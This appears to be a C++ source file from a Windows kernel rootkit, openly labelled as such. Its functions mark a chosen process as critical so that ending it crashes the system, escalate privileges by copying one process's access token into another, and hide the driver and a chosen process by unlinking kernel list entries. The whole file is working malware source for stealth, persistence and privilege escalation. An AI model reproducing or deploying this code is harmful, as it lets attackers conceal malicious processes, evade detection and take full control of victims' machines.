Files
2022-03-26 14:34:18 +01:00

229 lines
5.7 KiB
C++

////
// FUNCTIONS USED TO ELEVATE AND PROTECTS PROCESSES
////
#include "Rootkit.hpp"
NTSTATUS Rootkit::ProtectProcess(DWORD PID)
{
NTSTATUS status = STATUS_SUCCESS;
CLIENT_ID clientId;
HANDLE handle, hToken;
TOKEN_PRIVILEGES tkp = { 0 };
OBJECT_ATTRIBUTES objAttr;
ULONG BreakOnTermination = 1;
clientId.UniqueThread = NULL;
clientId.UniqueProcess = ULongToHandle(PID);
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
status = ZwOpenProcess(&handle, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (!NT_SUCCESS(status))
{
#if DEBUG
KdPrint(("[-] Failed to open process: %d\n", status));
#endif
return status;
}
status = ZwOpenProcessTokenEx(handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, OBJ_KERNEL_HANDLE, &hToken);
if (!NT_SUCCESS(status))
{
#if DEBUG
KdPrint(("[-] Failed to open token\n"));
#endif
ZwClose(hToken);
return status;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_DEBUG_PRIVILEGE);
status = ZwAdjustPrivilegesToken(hToken, FALSE, &tkp, 0, NULL, NULL);
if (!NT_SUCCESS(status))
{
#if DEBUG
KdPrint(("[-] Failed to adjust token\n"));
#endif
ZwClose(hToken);
return status;
}
status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
if (!NT_SUCCESS(status))
{
#if DEBUG
KdPrint(("[-] Failed to set information process\n"));
#endif
ZwClose(hToken);
return status;
}
#if DEBUG
KdPrint(("[*] Process successfully set as critical!\n"));
#endif
tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_TCB_PRIVILEGE);
status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
if (!NT_SUCCESS(status))
{
#if DEBUG
KdPrint(("[-] Failed to set information process: nr 2\n"));
#endif
ZwClose(hToken);
return status;
}
#if DEBUG
KdPrint(("[!] The process has become part of the system!\n"));
KdPrint(("[!] You won't be able to close the process until next reboot. Closing the process will result in a blue screen\n"));
#endif
ZwClose(hToken);
return status;
}
NTSTATUS Rootkit::ProcessElevation(ULONG srcPid, ULONG targetPid)
{
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS pTargetProcess, pSrcProcess;
//Getting target process
status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &pTargetProcess);
if (!NT_SUCCESS(status))
{
#if DEBUG
KdPrint(("[-] Target PID PsLookup failed\n"));
#endif
return status;
}
#if DEBUG
KdPrint(("[+] Target EProcess address: 0x%p\n", pTargetProcess));
#endif
//Getting source process
status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess);
if (!NT_SUCCESS(status))
{
#if DEBUG
KdPrint(("[-] Source PID PsLookup failed\n"));
#endif
return status;
}
#if DEBUG
KdPrint(("[+] Source EProcess address: 0x%p\n", pSrcProcess));
KdPrint(("[+] Setting source token to the target token\n"));
#endif
*(UINT64*)((UINT64)pTargetProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN);
#if DEBUG
KdPrint(("[*] Source token copied to the target!\n"));
#endif
return status;
}
VOID Ghost::GhostDriver(PDRIVER_OBJECT DriverObject)
{
#if DEBUG
KdPrint(("[+] Hiding driver\n"));
#endif
KIRQL irql = KeRaiseIrqlToDpcLevel();
PLDR_DATA_TABLE_ENTRY prevEntry, nextEntry, modEntry;
modEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
prevEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Blink;
nextEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Flink;
prevEntry->InLoadOrderLinks.Flink = modEntry->InLoadOrderLinks.Flink;
nextEntry->InLoadOrderLinks.Blink = modEntry->InLoadOrderLinks.Blink;
modEntry->InLoadOrderLinks.Flink = (PLIST_ENTRY)modEntry;
modEntry->InLoadOrderLinks.Blink = (PLIST_ENTRY)modEntry;
KeLowerIrql(irql);
#if DEBUG
KdPrint(("[!] Driver hidden!\n"));
#endif
}
////
// BSOD AVOID USED FROM UNKNOWNCHEATS
////
VOID RemoveTheLinks(PLIST_ENTRY Current)
{
PLIST_ENTRY Previous, Next;
Previous = (Current->Blink);
Next = (Current->Flink);
Previous->Flink = Next;
Next->Blink = Previous;
// Re-write the current LIST_ENTRY to point to itself (avoiding BSOD)
Current->Blink = (PLIST_ENTRY)&Current->Flink;
Current->Flink = (PLIST_ENTRY)&Current->Flink;
return;
}
PCHAR Ghost::GhostProcess(UINT32 pid)
{
#if DEBUG
KdPrint(("[+] Ghosting process\n"));
#endif
LPSTR result = (LPSTR)ExAllocatePool(NonPagedPool, sizeof(ULONG) + 20);;
ULONG PID_OFFSET = ACTIVE_PROCESS_LINKS;
#if DEBUG
KdPrint(("[+] PID offset: %p\n", PID_OFFSET));
#endif
ULONG LIST_OFFSET = PID_OFFSET;
//Checking architecture using pointer size
INT_PTR ptr;
// Ptr size 8 if compiled for a 64-bit machine, 4 if compiled for 32-bit machine
LIST_OFFSET += sizeof(ptr);
PEPROCESS CurrentEPROCESS = PsGetCurrentProcess();
PLIST_ENTRY CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
PUINT32 CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
if (*(UINT32*)CurrentPID == pid) {
RemoveTheLinks(CurrentList);
return (PCHAR)result;
}
PEPROCESS StartProcess = CurrentEPROCESS;
CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
while ((ULONG_PTR)StartProcess != (ULONG_PTR)CurrentEPROCESS)
{
if (*(UINT32*)CurrentPID == pid) {
RemoveTheLinks(CurrentList);
return (PCHAR)result;
}
CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
}
#if DEBUG
KdPrint(("[!] Process %d ghosted!\n", pid));
#endif
return (PCHAR)result;
}